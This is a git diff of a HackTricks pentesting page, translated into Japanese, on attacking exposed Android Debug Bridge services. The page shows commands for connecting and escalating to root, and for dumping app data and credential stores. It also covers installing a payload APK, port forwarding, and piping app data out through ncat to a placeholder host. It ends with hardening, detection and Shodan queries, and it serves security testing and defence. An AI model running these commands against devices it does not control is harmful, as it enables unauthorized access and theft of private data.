mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5555-android-debug-bridge.m
This commit is contained in:
parent
557596568b
commit
0b8287958d
@ -6,40 +6,141 @@
|
||||
|
||||
From [the docs](https://developer.android.com/studio/command-line/adb):
|
||||
|
||||
**Android Debug Bridge** (adb) は、デバイスと通信するための多目的なコマンドラインツールです。adbコマンドは、**アプリのインストールやデバッグ**など、さまざまなデバイスアクションを容易にし、**Unixシェルへのアクセス**を提供し、デバイス上でさまざまなコマンドを実行することができます。
|
||||
Android Debug Bridge (adb) は、Androidベースのデバイスやエミュレーターと通信するためのコマンドラインツールです。典型的なアクションには、パッケージのインストール、デバッグ、およびデバイス上でのインタラクティブなUnixシェルの取得が含まれます。
|
||||
|
||||
**デフォルトポート**: 5555.
|
||||
- 歴史的なデフォルトTCPポート: 5555 (クラシックな "adb tcpip" モード)。
|
||||
- 現代のワイヤレスデバッグ (Android 11+) は、TLSペアリングとmDNSサービス発見を使用します。接続ポートは動的で、mDNSを介して発見されます; 5555でない場合もあります。ペアリングはadb pair host:portの後にadb connectを使用して行います。攻撃的な影響については、以下のノートを参照してください。
|
||||
|
||||
Example nmap fingerprint:
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||
```
|
||||
## 接続
|
||||
|
||||
デバイスのポートでADBサービスが実行されているのを見つけ、それに接続できれば、**システム内でシェルを取得できます:**
|
||||
ADBが公開され、到達可能である場合は、迅速に接続して列挙を試みてください:
|
||||
```bash
|
||||
adb connect 10.10.10.10
|
||||
adb root # Try to escalate to root
|
||||
adb shell
|
||||
adb connect <ip>[:<port>] # Default is 5555 for classic mode
|
||||
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
|
||||
adb shell # Get an interactive shell (uid usually shell)
|
||||
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
|
||||
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
|
||||
```
|
||||
以下のページでさらにADBコマンドを確認してください:
|
||||
- デバイスがADB認証を強制する場合 (ro.adb.secure=1)、事前に認証されている必要があります (USB RSA認証) またはAndroid 11以上のワイヤレスデバッグペアリングを使用する必要があります (これはデバイスに表示される一時コードが必要です)。
|
||||
- 一部のベンダーイメージ、エンジニアリング/ユーザーデバッグビルド、エミュレーター、テレビ、STB、および開発キットは、認証なしでadbdを公開するか、rootとしてadbdを実行します。その場合、通常はシェルまたはルートシェルに直接入ります。
|
||||
|
||||
一般的なADBコマンドのリファレンスについては、次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../mobile-pentesting/android-app-pentesting/adb-commands.md
|
||||
{{#endref}}
|
||||
|
||||
### アプリデータのダンプ
|
||||
## クイックポストエクスプロイテーション
|
||||
|
||||
アプリケーションのデータを完全にダウンロードするには、次のようにします:
|
||||
シェルを取得したら、権限とSELinuxコンテキストを検証します:
|
||||
```bash
|
||||
# From a root console
|
||||
chmod 777 /data/data/com.package
|
||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||
adb pull "/sdcard/com.package"
|
||||
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
|
||||
```
|
||||
このトリックを使用して、**Chromeのパスワードのような機密情報を取得**できます。この件に関する詳細は、提供された情報を[**こちら**](https://github.com/carlospolop/hacktricks/issues/274)で確認してください。
|
||||
### データの列挙とキャプチャ
|
||||
|
||||
- サードパーティアプリとパスのリスト:
|
||||
```bash
|
||||
pm list packages -3
|
||||
pm path <pkg>
|
||||
```
|
||||
- ルート権限がある場合(adb rootまたはsuが機能します)、/dataに直接アクセスできます。そうでない場合は、デバッグ可能なアプリにはrun-asを使用してください:
|
||||
```bash
|
||||
# ルートなしで、デバッグ可能なアプリの場合
|
||||
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
|
||||
|
||||
# ルートあり
|
||||
cp -a /data/data/<pkg> /sdcard/<pkg>
|
||||
exit
|
||||
adb pull "/sdcard/<pkg>"
|
||||
```
|
||||
- 有用なシステムアーティファクト(ルートが必要):
|
||||
- /data/system/users/0/accounts.dbおよび関連するAccountManagerデータ
|
||||
- /data/misc/wifi/(古いバージョンのネットワーク設定/キー)
|
||||
- /data/data/<pkg>のアプリ固有のSQLite DBおよびshared_prefs
|
||||
|
||||
これを使用して機密情報(例:アプリの秘密)を取得できます。Chromeデータに関する考慮事項についてのメモは、[こちら](https://github.com/carlospolop/hacktricks/issues/274)で参照してください。
|
||||
|
||||
### コード実行とペイロード配信
|
||||
|
||||
- ランタイム権限をインストールして自動付与:
|
||||
```bash
|
||||
adb install -r -g payload.apk # -gはマニフェストで宣言されたすべてのランタイム権限を付与します
|
||||
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
|
||||
```
|
||||
- アクティビティ/サービス/ブロードキャストを直接開始:
|
||||
```bash
|
||||
adb shell am start -n <pkg>/<activity>
|
||||
adb shell am startservice -n <pkg>/<service>
|
||||
adb shell am broadcast -a <action>
|
||||
```
|
||||
|
||||
### ポートフォワーディングとピボティング
|
||||
|
||||
ルートなしでも、adbはローカルポートをデバイスポートに転送できますし、その逆も可能です。これは、デバイス上でローカルにバインドされたサービスにアクセスしたり、攻撃者のサービスをデバイスに公開したりするのに便利です。
|
||||
|
||||
- ホスト->デバイスを転送(ホストからデバイスのローカルサービスにアクセス):
|
||||
```bash
|
||||
adb forward tcp:2222 tcp:22 # デバイスがSSHを実行している場合(例:Termux/Dropbear)
|
||||
adb forward tcp:8081 tcp:8080 # アプリのローカルデバッグサーバーを公開
|
||||
```
|
||||
- デバイス->ホストを逆転送(デバイスがホスト上のサービスにアクセスできるようにする):
|
||||
```bash
|
||||
adb reverse tcp:1080 tcp:1080 # デバイスアプリは今、ホスト:1080に127.0.0.1:1080としてアクセスできます
|
||||
```
|
||||
- ソケットを介したファイルの抽出(sdcardへの書き込みなし):
|
||||
```bash
|
||||
# ホストで: リッスン
|
||||
ncat -lvp 9000 > dump.tar
|
||||
# デバイスで: ディレクトリをtarとして送信(ルートまたはrun-asが適用される)
|
||||
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
|
||||
```
|
||||
|
||||
## ワイヤレスデバッグ(Android 11+)
|
||||
|
||||
最新のAndroidは、デバイス側のペアリングとmDNS発見を伴うTLS保護されたワイヤレスデバッグを実装しています:
|
||||
```bash
|
||||
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
|
||||
# On attacker host (same L2 network, mDNS allowed):
|
||||
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
|
||||
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
|
||||
adb connect <device_ip>:<conn_port>
|
||||
```
|
||||
ノート
|
||||
- ポートは動的であり、5555を前提にしないでください。mDNSサービス名は次のようになります:
|
||||
- _adb-tls-pairing._tcp (ペアリング)
|
||||
- _adb-tls-connect._tcp (ペア接続)
|
||||
- _adb._tcp (レガシー/プレーン)
|
||||
- mDNSがフィルタリングされている場合、古典的なUSB支援による有効化は一部のビルドでまだ機能する可能性があります:`adb tcpip 5555` その後 `adb connect <ip>:5555`(再起動まで)。
|
||||
|
||||
攻撃的な含意:デバイスのUIと対話できる場合(例:物理的アクセスまたはモバイルMDMの誤設定)にワイヤレスデバッグを有効にし、ペアリングコードを表示できると、ケーブルなしで長期間のペアADBチャネルを確立できます。一部のOEMは、ペアリングなしでエンジニアリング/開発イメージでTCP経由のADBを公開しています—常に確認してください。
|
||||
|
||||
## ハードニング / 検出
|
||||
|
||||
防御者は、到達可能なadbd(TCP)が重大なリスクであると仮定すべきです。
|
||||
|
||||
- 不要な場合はADBとワイヤレスデバッグを無効にしてください。開発者オプションでUSBデバッグの承認を取り消してください。
|
||||
- 信頼できないセグメントでのTCP/5555の受信およびmDNSベースのADB発見をブロックするネットワークポリシーを確保してください。
|
||||
- あなたの管理下にあるデバイスで:
|
||||
```bash
|
||||
settings put global adb_enabled 0
|
||||
setprop service.adb.tcp.port -1 # TCPリスニングを無効にする(または:adb usbを使用)
|
||||
stop adbd; start adbd # デーモンを再起動
|
||||
```
|
||||
- 企業ネットワークでのmDNSレコード `_adb._tcp`、`_adb-tls-connect._tcp`、`_adb-tls-pairing._tcp` を監視し、予期しない5555リスナーに対してアラートを出してください。
|
||||
- 安全でないビルドのインベントリ: `getprop ro.debuggable`、`ro.build.type`、および `ro.adb.secure`。
|
||||
|
||||
## Shodan
|
||||
|
||||
- `android debug bridge`
|
||||
- android debug bridge
|
||||
- port:5555 product:"Android Debug Bridge"
|
||||
|
||||
## 参考文献
|
||||
|
||||
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
|
||||
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user